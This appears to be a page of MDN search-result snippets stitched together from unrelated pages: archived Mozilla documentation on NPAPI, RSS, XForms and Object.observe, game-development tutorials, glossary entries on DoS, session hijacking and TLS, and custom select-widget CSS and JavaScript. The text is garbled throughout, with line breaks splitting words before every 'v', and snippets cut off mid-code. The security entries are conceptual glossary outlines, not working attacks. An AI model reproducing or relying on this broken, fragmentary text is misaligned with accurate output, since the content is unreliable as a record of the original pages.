handling of multiple calendars discusstion regarding the bug when handling multiple calendars calendar
views impro
ving the looking of calendar
view.
... for example impro
ving the left pane, so that user can switch between mail and calendar.
... problem with creating / updating / exporting events how to add/update events in "home" calendar meetings planning the next calendar release meet regarding the
views of next calendar release.
2006-11-10 - Archive of obsolete content
calendar:impro
ving the calendar
views discussion about impro
ving the layout of calendar.
... next steps for 24 hours
view discussion about the impro
ving of some features of calendar ex.
... configurable start/end hours, optimal size of grid boxes in 24 hours
view.
External resources for plugin creation - Archive of obsolete content
please note that even when using these, it is still a good idea to have an understanding of what is going on under the hood, regardless of the level of abstraction pro
vided.
...supported development en
vironments are
visual studio on windows, xcode on mac, and gcc on linux.
... supported development en
vironments are xcode,
visual studio, gcc (and probably any other modern c++ compiler) browser plugins can be built as npapi (mac/windows), or activex (windows).
NPN_GetValue - Archive of obsolete content
window on which plug-in drawing occurs; returns hwnd unix/x11: gets the browser toplevel window in which the plug-in is displayed; returns window npnvjavascriptenabledbool: tells whether javascript is enabled; true=javascript enabled, false=not enabled npnvasdenabledbool: tells whether smartupdate (former name: asd) is enabled; true=smartupdate enabled, false=not enabled npn
visofflinebool: tells whether offline mode is enabled; true=offline mode enabled, false=not enabled npnvtoolkit: npnvsupportsxembedbool: npnvwindownpobject: returns the npobject * pointer for the dom window object; see getting the page url in npapi plugin for a rough example npnvpluginelementnpobject: npnvsupportswindowless: tells whether the browser supports windowless plugins.
...memory for this string must be freed by the plugin
via npn_memfree().
... gecko 1.9.2 note starting with gecko 1.9.2 (firefox 3.6), the variables npnvser
vicemanager, npnvdomelement, and npnvdomwindow are no longer supported.
NPP_Print - Archive of obsolete content
description npp_print is called when the user requests printing for a web page that contains a
visible plug-in (either embedded or full-page).
... an embedded plug-in shares printing with the browser; the plug-in prints the part of the page it occupies, and the browser handles everything else, including displaying print dialog boxes, getting the printer de
vice context, and any other tasks involved in printing, as well as printing the rest of the page.
... ms windows on ms windows printinfo->print.embedprint.platformprint is the de
vice context (dc) handle.
NPWindow - Archive of obsolete content
ws_info unix: contains information about the plug-in's unix window en
vironment; points to an npsetwindowcallbackstruct.
...values: npwindowtypewindow: indicates that the window field holds a platform-specific handle to a window (as in na
vigator 2.0 and na
vigator 3.0).
...(the drawable is pro
vided in a graphicsexpose event, when the paint is requested.) description the npwindow structure represents the native window or a drawable, and contains information about coordinate position, size, whether the plug-in is windowed or windowless, and some platform-specific information.
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>re
view of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <slash:comments>43</slash:comments> </item> <item> <title>what is the 3571st prime number</...
...although not necessary, people also often use other rss modules to get at (and read) the comments (since rss does not currently pro
vide facilities for this either).
...and thus the comments count that the <slash:comments> element pro
vides is only a snapshot; it was only the comment count at a moment in time.
0.90 - Archive of obsolete content
rss 0.90 rss 0.90 is the earliest known version of rss released to the public, and was replaced by netscape's rss 0.91 (re
vision 1).
... it was created by netscape to be a metadata format pro
viding a summary of a website.
... specification the original rss 0.90 specification has disappeared from its original location: http://my.netscape.com/publish/help/quickstart.html copies of it have been saved, and can be
viewed at the following locations: http://www.purplepages.ie/rss/netscape/rss0.90.html http://web.archive.org/web/*/http://...uickstart.html ...
Version - Archive of obsolete content
netscape's rss 0.91 (re
vision 1), netscape's rss 0.91 re
vision 3 and userland's rss 0.91.
... name status release date based on author rss 0.90 march 1999 rdf netscape netscape's rss 0.91 (re
vision 1) ?
... xml netscape netscape's rss 0.91 re
vision 3 july 10, 1999 xml netscape userland's rss 0.91 june 4, 2000 xml userland rss 1.0 standard december 9, 2000 rdf rss-dev working group rss 0.92 december 25, 2000 xml userland rss 0.93 april 20, 2001 xml userland rss 0.94 august 19, 2002 xml userland rss 2.0 september 2002 xml userland rss 2.0 (post 2002-11-11) november 11, 2002 xml userland rss 2.0 (post 2003-01-21) standard january 21, 2003 xml userland ...
Confidentiality, Integrity, and Availability - Archive of obsolete content
each objective addresses a different aspect of pro
viding protection for information.
...a failure to maintain confidentiality means that someone who shouldn't have access has managed to get it, through intentional beha
vior or by accident.
...if an attacker is not able to compromise the first two elements of information security (see above) they may try to execute attacks like denial of ser
vice that would bring down the server, making the website unavailable to legitimate users due to lack of availability.
Using Web Standards in your Web Pages - Archive of obsolete content
the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -web standards project this article pro
vides an over
view of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards.
...how to upgrade a webpage markup code to pass validation and how to implement css are addressed by pro
viding recommendations, tutorials and references.
... page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest summary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: portions of this content are © 1998–2008 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
-moz-stack-sizing - Archive of obsolete content
normally, a <xul:stack> will change its size so that all of its child elements are completely
visible.
... for example, mo
ving a child of the stack far to the right will widen the stack so the child remains
visible.
... note: in pre
vious versions of gecko it was possible to work around the problem by setting very large negative bottom and right margins on the stack element and equally large positive bottom and right margins on the children whose size you didn't want to ignore.
:-moz-system-metric() - Archive of obsolete content
syntax values -moz-windows-compositormedia: media/
visual accepts min/max prefixes: no:-moz-system-metric(images-in-menus)the :-moz-system-metric(images-in-menus) css pseudo-class matches an element if the computer's user interface supports images in menus.:-moz-system-metric(mac-graphite-theme):-moz-system-metric(mac-graphite-theme) will match an element if the user has chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.:-moz-system-metric(scrollbar-end-backward)the :-moz-system-metr...
...ement if the computer's user interface includes a forward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-thumb-proportional)the :-moz-system-metric(scrollbar-thumb-proportional) css pseudo-class will match an element if the computer's user interface uses proportional scrollbar thumbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the
visible area of the document.:-moz-system-metric(touch-enabled)the :-moz-system-metric(touch-enabled) css pseudo-class will match an element if the de
vice on which the content is being rendered offers a supported touch-screen interface.:-moz-system-metric(windows-default-theme)the :-moz-system-metric(windows-default-theme) css pseudo-class matches an element if the user is currently using one of the...
... following themes in windows: luna, royale, zune, or aero (i.e.,
vista basic,
vista standard, or aero glass).
Displaying notifications (deprecated) - Archive of obsolete content
ndard api, please read: using web notifications mobile only in gecko 2.0 available only in firefox mobile as of gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system pro
vided by the operating system.
... creating a notification the first thing you need to do is create the notification object by using the na
vigator.moznotification object's createnotification() method, as follows: var notification = na
vigator.moznotification.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4.
...
view live examples ...
Array.observe() - Archive of obsolete content
the array.observe() method was used for asynchronously obser
ving changes to arrays, similar to object.observe() for objects.
... it pro
vided a stream of changes in order of occurrence.
... changes done
via array methods, such as array.prototype.pop() will be reported as "splice" changes.
Array.unobserve() - Archive of obsolete content
syntax array.unobserve(arr, callback) parameters arr the array to stop obser
ving.
... the callback should be a reference to a function and not an anonymous function, because this reference will be used to unset the pre
vious observer.
... examples unobser
ving an array var arr = [1, 2, 3]; var observer = function(changes) { console.log(changes); } array.observe(arr, observer); arr.push(4); // [{type: "splice", object: <arr>, index: 3, removed:[], addedcount: 1}] array.unobserve(arr, observer); arr.pop(); // the callback wasn't called using an anonymous function var persons = ['khalid', 'ahmed', 'mohammed']; array.observe(persons, function (changes) { console.log(changes); }); persons.shift(); // [{type: "splice", object: <arr>, index: 0, removed: [ "khalid" ], addedcount: 0 }] array.unobserve(persons, function (changes) { console.log(changes); }); persons.push('abdullah'); // [{type: "splice",...
Array comprehensions - Archive of obsolete content
array comprehension was pre
viously proposed to be standardized in ecmascript 2016, it pro
vide a useful shortcut for constructing a new array based on the contents of another.
...rs) for (j of letters) if (i > 1) if(j > 'a') i + j] // ["2b", "2c", "3b", "3c"] [for (i of numbers) if (i > 1) [for (j of letters) if(j > 'a') i + j]] // [["2b", "2c"], ["3b", "3c"]], not the same as below: [for (i of numbers) [for (j of letters) if (i > 1) if(j > 'a') i + j]] // [[], ["2b", "2c"], ["3b", "3c"]] specifications was initially in the ecmascript 2015 draft, but got removed in re
vision 27 (august 2014).
... please see older re
visions of es2015 for specification semantics.
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.mstraceasynccallbackstarting function associates the callback stack with a pre
viously specified asynchronous operation.
... asyncoperationid must correspond to the operation name pre
viously returned from debug.mstraceasyncoperationstarting.
... example the following code pro
vides an example of tracing an asynchronous call for a windows 8.x store app.
Debug - Archive of obsolete content
in windows 8.x store apps, the write and writeln functions of the debug object display strings in the
visual studio output window at run time.
... functions debug.mstraceasynccallbackcompleted indicates that the callback stack associated with a pre
viously specified asynchronous operation has completed.
... debug.mstraceasynccallbackstarting associates the callback stack with a pre
viously specified asynchronous operation.
VBArray.toArray - Archive of obsolete content
each successive dimension is appended to the end of the pre
vious one.
...the first part is vbscript code to create a
visual basic safe array.
... the second part is javascript code that converts the
visual basic safe array to a javascript array.
Object.unobserve() - Archive of obsolete content
syntax object.unobserve(obj, callback) parameters obj the object to stop obser
ving.
... the callback should be a reference to a function and not an anonymous function, because this reference will be used to unset the pre
vious observer.
... examples unobser
ving an object var obj = { foo: 0, bar: 1 }; var observer = function(changes) { console.log(changes); } object.observe(obj, observer); obj.newproperty = 2; // [{name: 'newproperty', object: <obj>, type: 'add'}] object.unobserve(obj, observer); obj.foo = 1; // the callback wasn't called using an anonymous function var person = { name: 'ahmed', age: 25 }; object.observe(person, function(changes) { console.log(changes); }); person.age = 40; // [{name: 'age', object: <obj>, oldvalue: 25, type: 'update'}] object.unobserve(person, function(changes) { console.log(changes); }); person.age = 63; // [{name: 'age', object: <obj>, oldvalue: 40, ...
Packages - Archive of obsolete content
for example, you can access a constructor of the frame class as follows: var theframe = new packages.java.awt.frame(); for convenience, javascript pro
vides the top-level netscape, sun, and java objects that are synonyms for the packages properties with the same names.
... examples example: javascript function to create a java dialog box the following javascript function creates a java dialog box: function createwindow() { var theowner = new packages.java.awt.frame(); var thewindow = new packages.java.awt.dialog(theowner); thewindow.setsize(350, 200); thewindow.settitle("hello, world"); thewindow.set
visible(true); } in the pre
vious example, the function instantiates thewindow as a new packages object.
... the setsize, settitle, and set
visible methods are all available to javascript as public methods of java.awt.dialog.
forEach - Archive of obsolete content
feel free to alter the text as english is not my mother tongue and i'm more concerned with the code quality that the english grammar ;-s dotnetcarpenter 30 june 2012 <hr> the compatibility section goes to extraordinary lengths in pro
viding a foreach implementation.
... a much more sane approach would be to count on the implementation to throw errors if wrong arguments are pro
vided and implement this in fewer lines of code.
... i've removed the lengthy example, while still linking to it and pro
vided a much simpler and leaner implementation.
Building Mozilla XForms - Archive of obsolete content
before you can start building the xforms extension, you should check your mozilla build en
vironment by doing a regular firefox build.
...the following table gives you an over
view of which version you want to build: firefox version gecko/toolkit version source code notes status firefox 2.0 gecko 1.8.1 cvs, branch mozilla_1_8_branch not developed any more last release: 0.8.5ff2 firefox 3.0 gecko 1.9.0 cvs, branch head not developed any more last release: 0.8.5ff3 firefox 3.5 gecko 1.9.1 xforms/schema-validation code does not build with firefox 3.5 any more not supported firefox 3.6 gecko 1.9.2 xforms/schema-validation code does not build with firefox 3.6 any more not developed any more last release: 0.8.6 firefox 4 gecko 2.0 mercurial, repositories mozilla-central xforms schema-validation mostly works upcoming 0.8.7 release ...
...ollowing scheme usually works (replace {geckoversion} with the used gecko/toolkit version): <em:minversion>{geckoversion}.0</em:minversion> <em:maxversion>{geckoversion}.*</em:maxversion> for example, for the firefox 3.5 version of the extension, it might look like that: <em:minversion>1.9.1.0</em:minversion> <em:maxversion>1.9.1.*</em:maxversion> then zip the files again (or use an editor like
vim that can edit files inside a zip archive).
Troubleshooting XForms Forms - Archive of obsolete content
right-click on a blank spot on the page, and select
view page info.
...if you are developing on your local machine using apache tomcat for example then add the following regular expression on a new line: ^http://localhost:8080/.* use the xforms buddy to
view instance data the xforms buddy extension allows you to dynamically
view model instance data while the xforms is running in the firefox browser.
... the home page for xfroms buddy is located at: xforms buddy using http proxy you can use the charles firefox extension to
view your http session data including http header data.
RFE to the XForms API - Archive of obsolete content
for example, every
visual xforms element exposes the nsixformsdelegate interface.
...mozilla xforms doens't offer any ser
vice you can get
via xpcom.
... ability to get nsixformsaccessors for instance node we need the ability to get to the nsixformsaccessors interface on a node by specifying the node
via an xpath expression or by specifying the instance node directly (see bug 312956).
XForms Input Element - Archive of obsolete content
before that, the default beha
vior was to display the label first, then the checkbox.
... since the introduction of labelposition, the beha
vior changed as described above to better match other implementations as well as commonly used gui guidelines.
...will not work with xsd:datetime (beha
vior defaults to text input).
XForms Label Element - Archive of obsolete content
ui beha
vior accesskey support - if the accesskey attribute is specified on labeled xforms controls or on the label element itself then the label text for the control will contain an indicator as to what the access key is in a standard way.
... focus beha
vior - when a label element is clicked or its accesskey is activated then the form control that contains the label will be given the focus.
... single-node binding linking src - url of a document whose contents will be retrieved by the label element and used to pro
vide label text for the containing form control.
XForms Repeat Element - Archive of obsolete content
representations the repeat element doesn't have a
visual representation.
... beha
viour focusing a generated control may change the current index of the containing repeat element.
...similarly, the index function can be used with the repeating structures created
via these repeat-attributes.
XForms Upload Element - Archive of obsolete content
introduction pro
vides a means for the user to select a file (see the spec) from the file system.
...
visually, the upload control is shown as a file picker dialog that hides disallowed (filtered) file types.
... representations the xforms upload element is represented by
visually combining three widgets: a text field that shows the uri of the selected file, a button to open the file picker dialog which allows the user to select a file, and a button to clear the text field and the reference to the file from the bound node (xhtml only).
Mozilla's DOCTYPE sniffing - Archive of obsolete content
this page describes beha
vior of the old html parser in firefox 3.6 and older.
...the goals that led to choosing this beha
vior were the following: almost all existing text/html pages on the web that need to be in quirks mode to be displayed correctly should be displayed using quirks mode.
...(this is technically incorrect, since the strings are case sensitive.) see also web development mozilla's quirks mode mozilla quirks mode beha
vior original document information author(s): da
vid baron last updated date: august 2, 2005 copyright information: copyright (c) da
vid baron ...
XUL Parser in Python - Archive of obsolete content
the xml namespace support in xmllib was resol
ving the xul and html namespaces in a very annoying way, so i have an additional function, strip(), that takes off the whole namespace that xmllib is trying to tack onto the front of each item it finds in the xml.
...the parser pro
vides the tag name itself as a string and the attributes and their values in a dictionary, "a".
...extending on the approach in this script, then, you could imagine a kind of introspective xul chrome that could modify and replicate itself by calling ser
vices from the xulparser and xulwriter xpcom objects.
Examples - Game development
save the day fly your rescue chopper around the disaster area and save the stranded
victims (ga.me.) polycraft a shipwreck 'n sur
vive game.
... classic platformer canvas 2d game based on `
visual-ts game engine` - physics based on matter.js commercial games oort online a mmo exploration, building, and battle game (currently in development.) a wizard's lizard top down zelda-esque exploration/rpg.
... pyramid solitaire ancient egypt pyramid solitaire app ported to webassembly with emscripten assorted demos wavegl webgl
visualizer for sound sources.
Publishing games - Game development
game distribution pro
vides all you need to know about the ways you can distribute your newly created game into the wild — including hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store.
...there are many game promotion techniques — many of them free — so even if you're struggling to make a li
ving as an indie dev with zero budget you can still do a lot to let people know about your great new game.
...game monetization is essential to anyone who considers their game development work a serious endeavour on the path to becoming an independent game developer able to make a li
ving, so read on and see what your options are.
3D collision detection - Game development
this article pro
vides an introduction to the different bounding volume techniques used to implement collision detection in 3d en
vironments.
...in(sphere.y, box.maxy)); var z = math.max(box.minz, math.min(sphere.z, box.maxz)); // this is the same as ispointinsidesphere var distance = math.sqrt((x - sphere.x) * (x - sphere.x) + (y - sphere.y) * (y - sphere.y) + (z - sphere.z) * (z - sphere.z)); return distance < sphere.radius; } using a physics engine 3d physics engines pro
vide collision detection algorithms, most of them based on bounding volumes as well.
... the way a physics engine works is by creating a physical body, usually attached to a
visual representation of it.
Square tilemaps implementation: Static maps - Game development
note: when writing this article, we assumed pre
vious reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
... tiles: a 1-dimensional array containing the
visual grid.
... tiles contains the actual
visual map data.
Build the brick field - Game development
« pre
viousnext » this is the 6th step out of 10 of the gamedev canvas tutorial.
...add the following lines to your code below the variables which you have pre
viously declared in your program.
... « pre
viousnext » ...
Game over - Game development
« pre
viousnext » this is the 5th step out of 10 of the gamedev canvas tutorial.
...it would be good from the gameplay point of
view to be able to lose.
... « pre
viousnext » ...
Bounce off the walls - Game development
« pre
viousnext » this is the 6th step out of 16 of the gamedev phaser tutorial.
...add the following line below the pre
vious one: ball.body.bounce.set(1); try reloading index.html again — now you should see the ball bouncing off all the walls and mo
ving inside the canvas area.
... « pre
viousnext » ...
Game development
gaming is one of the most popular computer acti
vities.
... new technologies are constantly arri
ving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
...in this area of the site, we pro
vide resources for web developers wanting to develop games.
API - MDN Web Docs Glossary: Definitions of Web-related terms
methods, properties, events, and urls) that a developer can use in their apps for interacting with components of a user's web browser, or other software/hardware on the user's computer, or third party websites and ser
vices.
... for example: the getusermedia api can be used to grab audio and
video from a user's webcam, which can then be used in any way the developer likes, for example, recording
video and audio, broadcasting it to another user in a conference call, or capturing image stills from the
video.
... the geolocation api can be used to retrieve location information from whatever ser
vice the user has available on their de
vice (e.g.
DoS attack - MDN Web Docs Glossary: Definitions of Web-related terms
dos (denial of ser
vice) is a network attack that prevents legitimate use of server resources by flooding the server with requests.
... there are also distributed denial of ser
vice (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer.
...here is a non-exhaustive list of dos attack types: bandwidth attack ser
vice request flood syn flooding attack icmp flood attack peer-to-peer attack permanent dos attack application level flood attack learn more denial-of-ser
vice attack on wikipedia denial-of-ser
vice on owasp ddos ...
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
ice (interactive connecti
vity establishment) is a framework used by webrtc (among other technologies) for connecting two peers, regardless of network topology (usually for audio and
video chat).
... this protocol lets two peers find and establish a connection with one another even though they may both be using network address translator (nat) to share a global ip address with other de
vices on their respective local networks.
... the framework algorithm looks for the lowest-latency path for connecting the two peers, trying these options in order: direct udp connection (in this case—and only this case—a stun server is used to find the network-facing address of a peer) direct tcp connection,
via the http port direct tcp connection,
via the https port indirect connection
via a relay/turn server (if a direct connection fails, e.g., if one peer is behind a firewall that blocks nat traversal) learn more general knowledge webrtc, the principal web-related protocol which uses ice webrtc protocols technical reference rfc 5245, the ietf specification for ice rtcicecandidate, the interface representing a ice candidate ...
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
javascript is primarily used in the browser, enabling developers to manipulate webpage content through the dom, manipulate data with ajax and indexeddb, draw graphics with canvas, interact with the de
vice running the browser through various apis, and more.
... origins and history conceived as a server-side language by brendan eich (then employed by the netscape corporation), javascript soon came to netscape na
vigator 2.0 in september 1995.
... recently, javascript's popularity has expanded even further through the successful node.js platform—the most popular cross-platform javascript runtime en
vironment outside the browser.
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
page prediction is a browser feature or script which, when enabled, tells the browser to download resources the user is likely to
visit before the user requests the content.
... although browser page prediction and prediction ser
vices enable faster page loads, they consume additional bandwidth.
... also, pre-loaded websites and embedded content can set and read their cookies as if they were
visited even if they weren't.
REST - MDN Web Docs Glossary: Definitions of Web-related terms
a document, is transferred with its state and relationships
via well-defined, standarized operations and formats or ser
vices call themselves restful when they directly modify type of document as opposed to triggering actions somewhere.
... because http, the standard protocol hehind the "world wide web", "web" also transfers documents and hypertext links, simple http apis are sometimes colloguially referred to as restful apis, restful ser
vices, or simply rest ser
vices, although they don't necessarily adhere to all rest constraints.
... beginners can assume a rest api means an http ser
vice that can be called using standard web libraries and tools.
Server - MDN Web Docs Glossary: Definitions of Web-related terms
a server is a software or hardware offering a ser
vice to a user, usually referred to as client.
... a software server (often running on a hardware server) is a program that pro
vides ser
vices to client programs or a user interface to human clients.
... ser
vices are pro
vided generally over local area networks or wide area networks such as the internet.
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
session hijacking occurs because no account lockout for invalid session ids weak session-id generation algorithm insecure handling indefinite session expiration time short session ids transmission in plain text session hijacking process sniff, that is perform a man-in-the-middle (mitm) attack, place yourself between
victim and server.
... break the
victim machine's connection.
... inject new packets to the server using the
victim's session id.
Shadow tree - MDN Web Docs Glossary: Definitions of Web-related terms
the hidden nodes are not directly
visible using regular dom functionality, but require the use of a special shadow dom api to access.
... nodes within the shadow tree are not affected by anything applied outside the shadow tree, and
vice versa.
... this pro
vides a way to encapsulate implementation details, which is especially useful for custom elements and other advanced design paradigms.
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
a value ha
ving the data type symbol can be referred to as a "symbol value".
... in a javascript runtime en
vironment, a symbol value is created by invoking the function symbol, which dynamically produces an anonymous, unique value.
...the methods that access the registry are symbol.for() and symbol.keyfor(); these mediate between the global symbol table (or "registry") and the run-time en
vironment.
Synthetic monitoring - MDN Web Docs Glossary: Definitions of Web-related terms
synthetic monitoring involves monitoring the performance of a page in a 'laboratory' en
vironment, typically with automation tooling in an en
vironment that is as consistent as possible.
... unlike rum, synthetic monitoring pro
vides a narrow
view of performance that doesn't account for user differences, making it useful in getting basic data about an application's performance and spot-checking performance in development en
vironments.
... combined with other tools, such as network throttling, can pro
vide excellent insight into potential problem areas.
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
both ssl and tls are client / server protocols that ensure communication privacy by using cryptographic protocols to pro
vide security over a network.
... all modern browsers support the tls protocol, requiring the server to pro
vide a valid digital certificate confirming its identity in order to establish a secure connection.
... it is possible for both the client and server to mutually authenticate each other, if both parties pro
vide their own indi
vidual digital certificates.
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
(note that this has not been thoroughly tested for all circumstances and may not necessarily reflect the standard beha
vior completely.) note also that if you wish to allow xml:base, you will need the xml:base function, and the line beginning var href = ...
... return false; } } else if (href.match(/#$/, '') || href.match(/^#/, '')) { alert('fragment identifiers are disallowed in an xinclude "href" attribute'); return false; } var j; var xincludeparent = xinclude.parentnode; try { netscape.security.pri
vilegemanager.enablepri
vilege('universalxpconnect universalbrowserread'); // necessary with file:///-located files trying to reach external sites if (href !== null) { var response, responsetype; var request = new xmlhttprequest(); request.open('get', href, false); request.setrequestheader('if-modified-sin...
... if (encodingtype) { encodingtype = encodingtype[2]; } else { encodingtype = 'utf-8'; } // need to make a whole new request apparently since cannot convert the encoding after recei
ving it (to know what the encoding was) var request2 = new xmlhttprequest(); request2.overridemimetype('text/plain; charset='+encodingtype); request2.open('get', href, false); request2.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); ...
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
a cacheable response is an http response that can be cached, that is stored to be retrieved and used later, sa
ving a new request to the server.
... note that some non-cacheable requests/responses to a specific uri may invalidate pre
viously cached responses on the same uri.
...moreover, it invalidates cached data for request to the same uri done
via head or get: put /pagex.html http/1.1 (…) 200 ok (…) a specific cache-control header in the response can prevent caching: get /pagex.html http/1.1 (…) 200 ok cache-control: no-cache (…) ...
Test your skills: WAI-ARIA - Learn web development
wai-aria 1 in our first aria task, we present you with a section of non-semantic markup, which is ob
viously meant to be a list.
... how can you give the search input a suitable label, without explicitly adding a
visible text label to the dom?
... wai-aria 3 for this final wai-aria task, we return to an example we pre
viously saw in the css and javascript skilltest.
Test Your Skills: Fundamental layout comprehension - Learn web development
project brief you have been pro
vided with some raw html, basic css, and images — now you need to create a layout for the design, which should look just like the image below.
...the tasks you need to achieve are: to display the na
vigation items in a row, with an equal amount of space between the items.
... the na
vigation bar should scroll with the content and then become stuck at the top of the
viewport when it reaches it.
How do you host your website on Google App Engine? - Learn web development
this requires ha
ving a google account.
... if you've not created a project before, you'll need to select whether you want to receive email updates or not, agree to the terms of ser
vice, and then you should be able to continue.
... now na
vigate your browser to your-project-id.appspot.com to see your website online.
Example 1 - Learn web development
ry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0;
visibility: hidden; } /* ------------ */ /* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px *...
...ry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0;
visibility: hidden; } /* ------------ */ /* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em ...
...ry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0;
visibility: hidden; } /* ------------ */ /* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px *...
Example 4 - Learn web development
left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0;
visibility: hidden; } /* ------------ */ /* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px *...
...t, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.pre
viouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.pre
viouselementsibling; return nativewidget.selectedindex; }; // ------------- // ...
... }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); }); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.pre
viouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventlistener('click', function (event) { updatevalue(select, index); }); }); select.addeventlistener('keyup', function (event) { var length = optionlist.length, index = getindex(select); if (event.keycode === 27...
Example 5 - Learn web development
left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0;
visibility: hidden; } /* ------------ */ /* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px *...
...t, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.pre
viouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.setattribute('aria-selected', 'false'); }); optionlist[index].setattribute('aria-selected', 'true'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlis...
...t[index]); }; function getindex(select) { var nativewidget = select.pre
